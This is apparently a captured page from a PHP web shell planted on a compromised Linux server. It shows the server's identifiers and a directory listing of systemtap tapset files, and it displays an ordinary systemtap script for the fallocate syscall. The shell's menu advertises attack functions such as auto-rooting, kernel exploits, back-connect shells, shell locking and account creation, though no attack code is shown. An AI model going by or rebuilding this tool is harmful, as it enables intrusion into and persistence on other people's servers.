Linux server2.hpierson.com 3.10.0-1160.105.1.el7.x86_64 #1 SMP Thu Dec 7 15:39:45 UTC 2023 x86_64
Apache
: 162.0.216.123 | : 216.73.216.54
28 Domain
?7.4.33
yvffpqmy
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
systemtap /
tapset /
linux /
s390 /
[ HOME SHELL ]
Name
Size
Permission
Action
aux_syscalls.stp
5.41
KB
-rw-r--r--
sysc_compat_fadvise64.stp
6.43
KB
-rw-r--r--
sysc_compat_fallocate.stp
3.14
KB
-rw-r--r--
sysc_compat_ftruncate64.stp
1.78
KB
-rw-r--r--
sysc_compat_lookup_dcookie.stp
3.02
KB
-rw-r--r--
sysc_compat_readahead.stp
1.87
KB
-rw-r--r--
sysc_compat_truncate64.stp
1.83
KB
-rw-r--r--
sysc_execve.stp
4.66
KB
-rw-r--r--
sysc_getresgid16.stp
1.78
KB
-rw-r--r--
sysc_getresuid16.stp
1.66
KB
-rw-r--r--
sysc_ipc.stp
1.39
KB
-rw-r--r--
sysc_mmap.stp
3.22
KB
-rw-r--r--
sysc_mmap2.stp
3.06
KB
-rw-r--r--
sysc_sigaltstack.stp
2.97
KB
-rw-r--r--
sysc_sysctl32.stp
1.12
KB
-rw-r--r--
syscall_num.stp
51.66
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : sysc_compat_fallocate.stp
# fallocate __________________________________________________ # # SYSCALL_DEFINE4(fallocate, int, fd, int, mode, loff_t, offset, loff_t, len) # asmlinkage long sys32_fallocate(int fd, int mode, unsigned offset_lo, # unsigned offset_hi, unsigned len_lo, # unsigned len_hi) # # We've got a problem here on RHEL6 (2.6.32-504.el6.s390x) and RHEL7 # (3.10.0-229.el7.s390x). Normally we'd probe the "compat" version of # the function here. However, on those kernels, the compat wrapper # for fallocate (sys_fallocate_wrapper) is in assembly language, which # stap can't find. # # So, we'll probe the "real" syscall here. @define _SYSCALL_COMPAT_FALLOCATE_NAME %( name = "fallocate" %) @define _SYSCALL_COMPAT_FALLOCATE_ARGSTR %( argstr = sprintf("%d, %s, %#x, %u", fd, mode_str, offset, len) %) @define _SYSCALL_COMPAT_FALLOCATE_REGARGS %( fd = int_arg(1) mode = int_arg(2) # This logic is stolen from _stp_arg (in # tapset/s390/registers.stp). mode_str = _stp_fallocate_mode_str(mode) offset = u_register("r4") len = u_register("r5") %) probe syscall.compat_fallocate = dw_syscall.compat_fallocate !, nd_syscall.compat_fallocate ? {} probe syscall.compat_fallocate.return = dw_syscall.compat_fallocate.return !, nd_syscall.compat_fallocate.return ? {} # dw_compat_fallocate _____________________________________________________ probe dw_syscall.compat_fallocate = kernel.function("sys_fallocate").call ? { @__syscall_gate_noncompat_simple @_SYSCALL_COMPAT_FALLOCATE_NAME fd = __int32($fd) mode = __uint32($mode) mode_str = _stp_fallocate_mode_str(mode) offset = $offset len = $len @_SYSCALL_COMPAT_FALLOCATE_ARGSTR } probe dw_syscall.compat_fallocate.return = kernel.function("sys_fallocate").return ? { @__syscall_gate_noncompat_simple @_SYSCALL_COMPAT_FALLOCATE_NAME @SYSC_RETVALSTR(returnval()) } # nd_compat_fallocate _____________________________________________________ probe nd_syscall.compat_fallocate = nd1_syscall.compat_fallocate!, tp_syscall.compat_fallocate { } probe nd1_syscall.compat_fallocate = kprobe.function("sys_fallocate") ? { @__syscall_gate_noncompat_simple asmlinkage() @_SYSCALL_COMPAT_FALLOCATE_NAME @_SYSCALL_COMPAT_FALLOCATE_REGARGS @_SYSCALL_COMPAT_FALLOCATE_ARGSTR } /* kernel 3.5+, but undesirable because it affects all syscalls */ probe tp_syscall.compat_fallocate = kernel.trace("sys_enter") { __set_syscall_pt_regs($regs) @__compat_syscall_gate(@const("__NR_fallocate")) @_SYSCALL_COMPAT_FALLOCATE_NAME @_SYSCALL_COMPAT_FALLOCATE_REGARGS @_SYSCALL_COMPAT_FALLOCATE_ARGSTR } probe nd_syscall.compat_fallocate.return = nd1_syscall.compat_fallocate.return!, tp_syscall.compat_fallocate.return { } probe nd1_syscall.compat_fallocate.return = kprobe.function("sys_fallocate").return ? { @__syscall_gate_noncompat_simple @_SYSCALL_COMPAT_FALLOCATE_NAME @SYSC_RETVALSTR(returnval()) } /* kernel 3.5+, but undesirable because it affects all syscalls */ probe tp_syscall.compat_fallocate.return = kernel.trace("sys_exit") { __set_syscall_pt_regs($regs) @__compat_syscall_gate(@const("__NR_fallocate")) @_SYSCALL_COMPAT_FALLOCATE_NAME @SYSC_RETVALSTR($ret) }
Close